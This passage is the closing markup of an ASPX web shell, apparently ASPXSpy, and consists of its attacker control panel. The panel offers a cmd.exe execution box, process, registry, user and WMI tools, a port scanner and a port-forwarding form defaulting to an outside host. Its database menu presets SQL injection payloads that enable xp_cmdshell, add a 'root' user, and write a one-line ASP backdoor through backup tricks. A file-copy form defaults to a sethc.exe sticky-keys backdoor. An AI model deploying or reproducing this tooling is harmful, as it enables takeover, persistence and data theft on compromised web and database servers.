2715 | </asp:Table> | |
2716 | </table> | |
2717 | </div> | |
2718 | <%--Process--%> | |
2719 | <div runat="server" id="Bin_Div_Process" visible="false" enableviewstate="false"> | |
2720 | <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;"> | |
2721 | <asp:Table ID="Bin_Table_Process" runat="server" Width="100%" CellSpacing="0" > | |
2722 | <asp:TableRow CssClass="head"><asp:TableCell></asp:TableCell><asp:TableCell>ID</asp:TableCell><asp:TableCell>Process</asp:TableCell><asp:TableCell>ThreadCount</asp:TableCell><asp:TableCell>Priority</asp:TableCell><asp:TableCell>Action</asp:TableCell></asp:TableRow> | |
2723 | </asp:Table> | |
2724 | </table> | |
2725 | </div> | |
2726 | <%--CmdShell--%> | |
2727 | <div runat="server" id="Bin_Div_Cmd"> | |
2728 | <p>CmdPath:<br/> | |
2729 | <input class="input" runat="server" id="Bin_TextBox_CmdPath" type="text" size="100" value="c:\windows\system32\cmd.exe"/> | |
2730 | </p> | |
2731 | Argument:<br/> | |
2732 | <input class="input" runat="server" id="Bin_TextBox_CmdArg" value="/c Set" type="text" size="100"/> <asp:Button ID="Bin_Button_CmdExec" CssClass="bt" runat="server" Text="Submit" OnClick="Bin_Button_CmdExec_Click"/> | |
2733 | <div id="Bin_Div_CmdRes" runat="server" visible="false" enableviewstate="false"> | |
2734 | </div> | |
2735 | </div> | |
2736 | <%--Services--%> | |
2737 | <div runat="server" id="Bin_Div_Services" visible ="false" enableviewstate="false"> | |
2738 | <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;"> | |
2739 | <asp:Table ID="Bin_Table_Serviecs" runat="server" Width="100%" CellSpacing="0" > | |
2740 | <asp:TableRow CssClass="head"><asp:TableCell></asp:TableCell><asp:TableCell>ID</asp:TableCell><asp:TableCell>Name</asp:TableCell><asp:TableCell>Path</asp:TableCell><asp:TableCell>State</asp:TableCell><asp:TableCell>StartMode</asp:TableCell></asp:TableRow> | |
2741 | </asp:Table> | |
2742 | </table> | |
2743 | </div> | |
2744 | <%--Sysinfo--%> | |
2745 | <div runat="server" id="Bin_Div_Sysinfo" visible="false" enableviewstate="false"> | |
2746 | <hr style=" border: 1px solid #ddd;height:0px;"/> | |
2747 | <ul class="info" id="Bin_Ul_Sys" runat="server"></ul> | |
2748 | <h2 id="Bin_H2_Mac" runat="server"></h2> | |
2749 | <hr style=" border: 1px solid #ddd;height:0px;"/> | |
2750 | <ul class="info" id ="Bin_Ul_NetConfig" runat="server"></ul> | |
2751 | <h2 id="Bin_H2_Driver" runat="server"></h2> | |
2752 | <hr style=" border: 1px solid #ddd;height:0px;"/> | |
2753 | <ul class="info" id ="Bin_Ul_Driver" runat="server"></ul> | |
2754 | </div> | |
2755 | <%--UserInfo--%> | |
2756 | <div runat="server" id="Bin_Div_Userinfo" visible="false" enableviewstate="false"> | |
2757 | <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;"> | |
2758 | <asp:Table ID="Bin_Table_User" runat="server" Width="100%" CellSpacing="0" > | |
2759 | </asp:Table> | |
2760 | </table> | |
2761 | </div> | |
2762 | <%--Reg--%> | |
2763 | <div id="Bin_Div_Reg" runat="server"> | |
2764 | <p>Registry Path : <asp:TextBox id="Bin_Text_Regread" style="width:85%;margin:0 8px;" CssClass="input" runat="server"/><asp:Button ID="Bin_Button_RegGo" runat="server" Text="Go" CssClass="bt" onclick="Bin_Bin_RegreadButton_Click"/></p> | |
2765 | <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;"> | |
2766 | <asp:Table ID="Bin_Table_Reg" runat="server" Width="100%" CellSpacing="0" > | |
2767 | <asp:TableRow CssClass="alt1"><asp:TableCell ColumnSpan="2" id="Bin_Regroot_Href"></asp:TableCell></asp:TableRow> | |
2768 | <asp:TableRow CssClass="head"><asp:TableCell Width="40%">Key</asp:TableCell><asp:TableCell Width="60%">Value</asp:TableCell></asp:TableRow> | |
2769 | </asp:Table> | |
2770 | </table> | |
2771 | </div> | |
2772 | <%--PortScan--%> | |
2773 | <div id="Bin_Div_PortScan" runat="server"> | |
2774 | <p> | |
2775 | IP : <asp:TextBox id="Bin_TextBox_Sip" style="width:10%;margin:0 8px;" CssClass="input" runat="server" Text="127.0.0.1"/> Port : <asp:TextBox id="Bin_TextBox_Sport" style="width:40%;margin:0 8px;" CssClass="input" runat="server" Text="21,25,80,110,1433,1723,3306,3389,4899,5631,43958,65500"/> <asp:Button ID="Bin_Button_Scan" runat="server" Text="Scan" CssClass="bt" OnClick="Bin_Button_Scan_Click"/> | |
2776 | </p> | |
2777 | <div id="Bin_Label_Scanres" runat="server" visible="false" enableviewstate="false"></div> | |
2778 | </div> | |
2779 | <%--DataBase--%> | |
2780 | <div id="Bin_Div_Data" runat="server"> | |
2781 | <div id='zcg_divresize' style="width:1000px;overflow:auto"> | |
2782 | <p>ConnString : <asp:TextBox id="Bin_TextBox_ConnStr" style="width:70%;margin:0 8px; height:17px" CssClass="input" runat="server"/><asp:DropDownList runat="server" CssClass="list" ID="Bin_List_Connstr" AutoPostBack="True" OnSelectedIndexChanged="Bin_List_SelectedIndexChanged" ><asp:ListItem></asp:ListItem><asp:ListItem Value="server=localhost,1433;UID=sa;PWD=sa;database=master">MSSQL</asp:ListItem><asp:ListItem Value="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=d:\database.mdb">OleDb</asp:ListItem></asp:DropDownList><asp:Button ID="Bin_Button_Conn" runat="server" Text="Go" CssClass="bt" OnClick="Bin_Button_Conn_Click"/></p></div> | |
2783 | <div id="Bin_Div_DBPanel" runat="server"> | |
2784 | <div id="Bin_Div_Dbinfo" runat="server"></div> | |
2785 | <div id="Bin_Div_Dblist" runat="server"> | |
2786 | Please select a database : <asp:DropDownList runat="server" ID="Bin_List_DB" AutoPostBack="True" OnSelectedIndexChanged="Bin_List_SelectedIndexChanged" CssClass="list"></asp:DropDownList> | |
2787 | SQLExec : <asp:DropDownList runat="server" ID="Bin_List_Exec" AutoPostBack="True" OnSelectedIndexChanged="Bin_List_SelectedIndexChanged" CssClass="list"><asp:ListItem Value="">-- SQL Server Exec --</asp:ListItem><asp:ListItem Value="Use master dbcc addextendedproc('xp_cmdshell','xplog70.dll')">Add xp_cmdshell</asp:ListItem><asp:ListItem Value="Use master dbcc addextendedproc('sp_OACreate','odsole70.dll')">Add sp_oacreate</asp:ListItem><asp:ListItem Value="Exec sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;">Add xp_cmdshell(SQL2005)</asp:ListItem><asp:ListItem Value="Exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;">Add sp_oacreate(SQL2005)</asp:ListItem><asp:ListItem Value="Exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'Web Assistant Procedures',1;RECONFIGURE;">Add makewebtask(SQL2005)</asp:ListItem><asp:ListItem Value="Exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;">Add openrowset/opendatasource(SQL2005)</asp:ListItem><asp:ListItem Value="Exec master.dbo.xp_cmdshell 'net user'">XP_cmdshell exec</asp:ListItem><asp:ListItem Value="EXEC MASTER..XP_dirtree 'c:\',1,1">XP_dirtree</asp:ListItem><asp:ListItem Value="Declare @s int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe /c echo ^<%execute(request(char(35)))%^>>c:\bin.asp';">SP_oamethod exec</asp:ListItem><asp:ListItem Value="sp_makewebtask @outputfile='c:\bin.asp',@charset=gb2312,@query='select ''<%execute(request(chr(35)))%>'''">SP_makewebtask make file</asp:ListItem><asp:ListItem Value="exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net user root root/add ")')">SandBox</asp:ListItem><asp:ListItem Value="create table [bin_cmd]([cmd] [image]);declare @a sysname,@s nvarchar(4000)select @a=db_name(),@s=0x62696E backup log @a to disk=@s;insert into [bin_cmd](cmd)values('<%execute(request(chr(35)))%>');declare @b sysname,@t nvarchar(4000)select @b=db_name(),@t='e:\1.asp' backup log @b to disk=@t with init,no_truncate;drop table [bin_cmd];">LogBackup</asp:ListItem><asp:ListItem Value="create table [bin_cmd]([cmd] [image]);declare @a sysname,@s nvarchar(4000)select @a=db_name(),@s=0x62696E backup database @a to disk=@s;insert into [bin_cmd](cmd)values('<%execute(request(chr(35)))%>');declare @b sysname,@t nvarchar(4000)select @b=db_name(),@t='c:\bin.asp' backup database @b to disk=@t WITH DIFFERENTIAL,FORMAT;drop table [bin_cmd];">DatabaseBackup</asp:ListItem><asp:ListItem>SA_Upfile</asp:ListItem><asp:ListItem>FileCopy</asp:ListItem></asp:DropDownList> | |
2788 | <asp:Button runat="server" ID="Bin_Button_Show" CssClass="bt" Text="Show Tables" OnClick="Bin_List_SelectedIndexChanged"/> | |
2789 | </div> | |
2790 | <table width="100%" border="0" cellpadding="0" cellspacing="0"><tr><td> Run SQL </td></tr><tr><td><textarea id="Bin_Textarea_Query" class="area" style="overflow:auto;" runat="server" rows="5" cols="100"></textarea></td></tr><tr><td> | |
2791 | <asp:Button runat="server" ID="Bin_Button_Query" CssClass="bt" Text="Query" onclick="Bin_Button_Query_Click"/> | |
2792 | <asp:Button runat="server" ID="Bin_Button_Export" CssClass="bt" Text="Export" onclick="Bin_Button_Export_Click" Visible="false" EnableViewState="false"/></td></tr></table> | |
2793 | ||
2794 | <div id="Bin_Div_saupfile" runat="server" visible="false" enableviewstate="false"> | |
2795 | <table width="70%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;"> | |
2796 | <tr align="center"> | |
2797 | <td style="width:15%" align="left">UpFile : <input id="Bin_TextBox_SaFile" class="input" runat="server" type="file" style="height:22px" size="30"/></td> | |
2798 | <td style="width:30%" align="left">SavePath : <input id="Bin_TextBox_SavePath" class="input" runat="server" type="text" style="height:16px" size="30"/> <asp:Button | |
2799 | ID="Bin_Button_SaUpfile" runat="server" CssClass="bt" | |
2800 | onclick="Bin_Button_SaUpfile_Click" Text="Sa_UpFile" /> | |
2801 | </td> | |
2802 | ||
2803 | </tr> | |
2804 | </table></div> | |
2805 | <div id="Bin_Div_CopyFile" runat="server" visible="false" enableviewstate="false"> | |
2806 | <table width="70%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;"> | |
2807 | <tr align="center"> | |
2808 | <td style="width:10%" align="left">Source : <input id="Bin_TextBox_Source" class="input" runat="server" type="text" style="height:16px" size="40" value="c:\windows\explorer.exe"/></td> | |
2809 | <td style="width:20%" align="left">Target : <input id="Bin_TextBox_Target" class="input" runat="server" type="text" style="height:16px" size="40" value="c:\windows\system32\sethc.exe"/> <asp:Button runat="server" | |
2810 | ID="Bin_Button_CabCopy" CssClass="bt" Text="CabCopy" | |
2811 | onclick="Bin_Button_CabCopy_Click" /> <asp:Button runat="server" | |
2812 | ID="Bin_Button_FsoCopy" CssClass="bt" Text="FsoCopy" | |
2813 | onclick="Bin_Button_FsoCopy_Click"/></td> | |
2814 | </tr> | |
2815 | </table> | |
2816 | </div> | |
2817 | <div style="overflow:auto;" > | |
2818 | <p> | |
2819 | <asp:DataGrid runat="server" ID="Bin_DataGrid" HeaderStyle-CssClass="head" BorderWidth="0" GridLines="None" EnableViewState="false"></asp:DataGrid> | |
2820 | </p> | |
2821 | </div> | |
2822 | </div> | |
2823 | </div> | |
2824 | <%--PortMap--%> | |
2825 | <div id="Bin_Div_PortMap" runat="server"> | |
2826 | <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;"> | |
2827 | <tr align="center"> | |
2828 | <td style="width:5%"></td> | |
2829 | <td style="width:20%" align="left">Local Ip : <input class="input" runat="server" id="Bin_TextBox_Lip" type="text" size="20" value="127.0.0.1"/></td> | |
2830 | <td style="width:20%" align="left">Local Port : <input class="input" runat="server" id="Bin_TextBox_Lport" type="text" size="20" value="3389"/></td> | |
2831 | <td style="width:20%" align="left">Remote Ip : <input class="input" runat="server" id="Bin_TextBox_Rip" type="text" size="20" value="www.rootkit.net.cn"/></td> | |
2832 | <td style="width:20%" align="left">Remote Port : <input class="input" runat="server" id="Bin_TextBox_Rport" type="text" size="20" value="80"/></td></tr> | |
2833 | <tr align="center"><td colspan="5"><br/><asp:Button ID="Bin_Button_MapPort" CssClass="bt" runat="server" Text="Start" OnClick="Bin_Button_MapPort_Click"/><asp:Button ID="zcg_btnListPM" CssClass="bt" runat="server" Text="ListAll" OnClick="zcg_btnListPM_Click"/><asp:Button ID="zcg_btnClearPM" CssClass="bt" runat="server" Text="ClearAll" OnClick="zcg_btnClearPM_Click"/></td></tr></table> | |
2834 | <asp:Table ID="zcg_tbl_PMList" runat="server" Width="100%" CellSpacing="0" Visible=false> | |
2835 | <asp:TableRow CssClass="head"><asp:TableCell Width="20%">ID</asp:TableCell><asp:TableCell Width="20%">Remote</asp:TableCell><asp:TableCell Width="20%">Local</asp:TableCell><asp:TableCell Width="20%">Status</asp:TableCell><asp:TableCell Width="20%">Action</asp:TableCell></asp:TableRow> | |
2836 | </asp:Table> | |
2837 | </div> | |
2838 | <%--Search--%> | |
2839 | <div id="Bin_Div_Search" runat="server"> | |
2840 | <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;"> | |
2841 | <tr align="center"> | |
2842 | <td style="width:20%" align="left">Keyword</td> | |
2843 | <td style="width:60%" align="left"><textarea id="Bin_TextArea_Search" runat="server" class="area" style="width:100%" rows="4"></textarea></td> | |
2844 | <td style="width:20%" align="left"><input type="checkbox" runat="server" id="Bin_Search_UseReg" value="1"/> Use Regex</td> | |
2845 | </tr> | |
2846 | <tr align="center"> | |
2847 | <td style="width:20%" align="left">Replace As</td> | |
2848 | <td style="width:60%" align="left"><textarea id="Bin_TextArea_ReplaceAs" runat="server" class="area" style="width:100%" rows="4"></textarea></td> | |
2849 | <td style="width:20%" align="left"><input type="checkbox" runat="server" id="Bin_Search_Replace"/> Replace</td> | |
2850 | </tr> | |
2851 | <tr align="center"> | |
2852 | <td style="width:20%" align="left">Search FileType</td> | |
2853 | <td style="width:60%" align="left"><input type="text" runat="server" class="input" id="Bin_Search_Ext" style="width:100%" value="asp|asa|cer|cdx|aspx|asax|ascx|cs|jsp|php|txt|inc|ini|js|htm|html|xml|config"/></td> | |
2854 | <td style="width:20%" align="left"><asp:DropDownList runat="server" ID="Bin_Search_Mod" AutoPostBack="False" CssClass="list"><asp:ListItem Value="name" Selected="True">File Name</asp:ListItem><asp:ListItem Value="content">File Content</asp:ListItem></asp:DropDownList></td> | |
2855 | </tr> | |
2856 | <tr align="center"> | |
2857 | <td style="width:20%" align="left">Path</td> | |
2858 | <td style="width:60%" align="left"><input type="text" class="input" id="Bin_Search_Path" runat="server" style="width:100%" /></td> | |
2859 | <td style="width:20%" align="left"><asp:Button CssClass="bt" id="Bin_Button_SearchSubmit" runat="server" onclick="Bin_Button_Search_Click" Text="Start" /></td> | |
2860 | </tr> | |
2861 | </table> | |
2862 | <br/> | |
2863 | <br/> | |
2864 | <asp:Table ID="Bin_Table_Search" runat="server" Width="100%" CellSpacing="0" > | |
2865 | <asp:TableRow CssClass="head"><asp:TableCell Width="60%">File Path</asp:TableCell><asp:TableCell Width="20%">Last modified</asp:TableCell><asp:TableCell Width="20%">Size</asp:TableCell></asp:TableRow> | |
2866 | </asp:Table> | |
2867 | </div> | |
2868 | <%--WmiTools--%> | |
2869 | <div id="Bin_Div_WmiTools" runat="server"> | |
2870 | <div id='zcg_divresize' style="width:1000px;overflow:auto"> | |
2871 | <p>Computer:<asp:TextBox id="zcg_txbWmiComputer" style="width:8%;margin:0 8px; height:17px" CssClass="input" value="" runat="server"/>Username:<asp:TextBox id="zcg_txbWmiUserName" style="width:8%;margin:0 8px; height:17px" CssClass="input" value="" runat="server"/>Password:<asp:TextBox id="zcg_txbWmiPassword" style="width:8%;margin:0 8px; height:17px" CssClass="input" value="" runat="server"/>Namespace:<asp:TextBox id="zcg_txbWmiNamespace" style="width:8%;margin:0 8px; height:17px" CssClass="input" value="root\CIMV2" runat="server"/>QueryString : <asp:TextBox id="Bin_TextBox_WmiString" style="width:20%;margin:0 8px; height:17px" CssClass="input" runat="server" Text="select * from win32_process"/> <asp:Button ID="Bin_Button_WmiQuery" runat="server" Text="Query" CssClass="bt" onclick="Bin_Button_WmiQuery_Click"/></p></div> | |
2872 | <div id="Bin_Div_WmiPanel" runat="server"> | |
2873 | Result:<br /> | |
2874 | <asp:DataGrid runat="server" ID="Bin_DataGrid_Wmi" HeaderStyle-CssClass="head" BorderWidth="0" | |
2875 | GridLines="None" EnableViewState="false"></asp:DataGrid> | |
2876 | </div> | |
2877 | </div> | |
2878 | <%--ADS Viewer--%> | |
2879 | <div id="zcg_div_ADSViewer" runat="server"> | |
2880 | <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;"> | |
2881 | <tr> | |
2882 | <td style=" white-space:nowrap">Current Path:</td> | |
2883 | <td style=" width:40%"><input class="input" id="zcg_txbADSPath" type="text" style="width:95%;margin:0 8px;" runat="server"/> | |
2884 | </td> | |
2885 | <td style=" white-space:nowrap">Filter:</td> | |
2886 | <td style=" width:15%"><input class="input" id="zcg_txbADSFilter" type="text" style="width:85%;margin:0 8px;" runat="server"/> | |
2887 | </td> | |
2888 | <td style=" white-space:nowrap">UserName:</td> | |
2889 | <td style=" width:15%"><input class="input" id="zcg_txbADSUser" type="text" style="width:85%;margin:0 8px;" runat="server"/> | |
2890 | </td> | |
2891 | <td style=" white-space:nowrap">PassWord:</td> | |
2892 | <td style=" width:15%"><input class="input" id="zcg_txbADSPass" type="text" style="width:85%;margin:0 8px;" runat="server"/> | |
2893 | </td> | |
2894 | <td style=" white-space:nowrap">Type:</td> | |
2895 | <td style=" width:10%"><input class="input" id="zcg_txbADSType" Value="1" type="text" style="width:85%;margin:0 8px;" runat="server" onClick="show();" /><br/> | |
2896 | <div id="typediv" style="position:absolute;font-size:9pt; background-color:#e8e8e8;width:145px; display:none;z-index:9999;"> | |
2897 | <input type="checkbox" name="checker" value="0">None</input><br/> | |
2898 | <input type="checkbox" name="checker" checked="true" value="1">Secure</input><br/> | |
2899 | <input type="checkbox" name="checker" value="2">SecureSocketsLayer</input><br/> | |
2900 | <input type="checkbox" name="checker" value="2">Encryption</input><br/> | |
2901 | <input type="checkbox" name="checker" value="4">ReadonlyServer</input><br/> | |
2902 | <input type="checkbox" name="checker" value="0x10">Anonymous</input><br/> | |
2903 | <input type="checkbox" name="checker" value="0x20">FastBind</input><br/> | |
2904 | <input type="checkbox" name="checker" value="0x40">Signing</input><br/> | |
2905 | <input type="checkbox" name="checker" value="0x80">Sealing</input><br/> | |
2906 | <input type="checkbox" name="checker" value="0x100">Delegation</input><br/> | |
2907 | <input type="checkbox" name="checker" value="0x200">ServerBind</input><br/> | |
2908 | <input type="button" onclick="hide(true)" style="width:50px;" value="OK"/> | |
2909 | <input type="button" onclick="hide(false)" style="margin-left:25px;" value="Cancel"/> | |
2910 | </div> | |
2911 | <script> | |
2912 | function show() | |
2913 | { | |
2914 | document.getElementById("typediv").style.display="block";return false; | |
2915 | } | |
2916 | function hide(isok) | |
2917 | { | |
2918 | if(isok) | |
2919 | { | |
2920 | var hidvalue=0; | |
2921 | var clicked=false; | |
2922 | var checkers=document.getElementsByName("checker"); | |
2923 | for(var i=0;i<checkers.length;i++) | |
2924 | { | |
2925 | if(checkers[i].checked){hidvalue|=parseInt(checkers[i].value);clicked=true;} | |
2926 | } | |
2927 | document.getElementById("zcg_txbADSType").value=clicked?hidvalue:1; | |
2928 | } | |
2929 | document.getElementById("typediv").style.display="none"; | |
2930 | return false; | |
2931 | } | |
2932 | </script> | |
2933 | </td> | |
2934 | <td style="white-space:nowrap" ><asp:Button ID="zcg_btnDoListADS" runat="server" Text="List" CssClass="bt" OnClick="zcg_btnDoListADS_Click"/></td> | |
2935 | </tr> | |
2936 | </table> | |
2937 | <table width="100%" border="0" cellpadding="4" cellspacing="0"> | |
2938 | <tr class="alt1"><td style="padding:5px;"> | |
2939 | <div style="float:right;">Schema:<asp:Label id="zcg_lbl_Schema" Text=" " runat="server" style=" height:22px,Width:50px"/></div> | |
2940 | <asp:LinkButton ID="zcg_lbtnADSWinNT" runat="server" Text="WinNT" CommandArgument="WinNT:" OnClick="zcg_lbtnADS_Click"></asp:LinkButton> | | |
2941 | <asp:LinkButton ID="zcg_lbtnADSLocalMachine" runat="server" Text="LocalMachine" CommandArgument="WinNT://" OnClick="zcg_lbtnADS_Click"></asp:LinkButton> | | |
2942 | <asp:LinkButton ID="zcg_lbtnADSLocalShare" runat="server" Text="LocalShare" CommandArgument="WinNT://127.0.0.1/lanmanserver" OnClick="zcg_lbtnADS_Click"></asp:LinkButton> | | |
2943 | <asp:LinkButton ID="zcg_lbtnADSWorkGroup" runat="server" Text="WorkGroup" CommandArgument="WinNT://WORKGROUP" OnClick="zcg_lbtnADS_Click"></asp:LinkButton> | | |
2944 | <asp:LinkButton ID="zcg_lbtnADSCurrentDomain" runat="server" Text="CurrentDomain" CommandArgument="WinNT://" OnClick="zcg_lbtnADS_Click"></asp:LinkButton> | | |
2945 | <asp:LinkButton ID="zcg_lbtnADSIIS" runat="server" Text="IIS" CommandArgument="IIS:" OnClick="zcg_lbtnADS_Click"></asp:LinkButton> | | |
2946 | <asp:LinkButton ID="zcg_lbtnADSW3SVC" runat="server" Text="W3SVC" CommandArgument="IIS://LOCALHOST/W3SVC" OnClick="zcg_lbtnADS_Click"></asp:LinkButton> | | |
2947 | <asp:LinkButton ID="zcg_lbtnADSLDAP" runat="server" Text="LDAP" CommandArgument="LDAP:" OnClick="zcg_lbtnADS_Click"></asp:LinkButton> | | |
2948 | <asp:LinkButton ID="zcg_lbtnADSLDAPRootDSE" runat="server" Text="LDAPRootDSE" CommandArgument="LDAP://RootDSE" OnClick="zcg_lbtnADS_Click"></asp:LinkButton> | |
2949 | </td></tr> | |
2950 | <asp:Table ID="zcg_tbl_ADSViewer" runat="server" Width="100%" CellSpacing="0" > | |
2951 | <asp:TableRow CssClass="head"><asp:TableCell Width="20%">Name</asp:TableCell><asp:TableCell Width="10%">Type</asp:TableCell><asp:TableCell Width="15%">Schema</asp:TableCell><asp:TableCell Width="15%">Value</asp:TableCell><asp:TableCell>Path</asp:TableCell></asp:TableRow> | |
2952 | </asp:Table> | |
2953 | </table> | |
2954 | </div> | |
2955 | <%--Plugin Loader--%> | |
2956 | <div id="zcg_div_Plugin" runat="server"> | |
2957 | Select a File:<input id="zcg_plgFile" class="input" runat="server" type="file" style="height:22px"/><br/><br/><asp:CheckBox ID="zcg_chbIsDeflated" runat="server" Text="Deflate-Compressed"/> <asp:CheckBox ID="zcg_chbIsHtml" runat="server" Text="HTML Result"/><br/><br/>TypeName:<br/><asp:TextBox ID="zcg_txbTypeName" runat="server" Size="55" Text="Zcg.Test.AspxSpyPlugins.TestPlugin"></asp:TextBox><br/><br/>MethodName:<br/><asp:TextBox ID="zcg_txbMethodName" runat="server" Size="55" Text="Test"></asp:TextBox><br/><br />Params:<br/><asp:TextBox ID="zcg_txbParams" runat="server" TextMode="1" Height="70" Columns="46"></asp:TextBox><br/><br/><asp:Button ID="zcg_btnplgLoad" CssClass="bt" runat="server" Text="LoadPlugin" OnClick="zcg_btnplgLoad_Click"/> | |
2958 | <div id="zcg_div_PluginResult" runat="server"></div> | |
2959 | </div> | |
2960 | </td></tr></table> | |
2961 | <div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">Copyright(C)2006-2014 <a href="http://www.rootkit.net.cn" target="_blank">Bin'Blog</a> All Rights Reserved.</div></div> | |
2962 | <script>var tmpdiv=document.getElementById('zcg_divresize');var tmpwidth=document.getElementById('Bin_Div_Head').clientWidth+"px";if(tmpdiv){tmpdiv.style.width=tmpwidth;}</script> | |
2963 | </form> | |
2964 | </body> | |
2965 | </html> |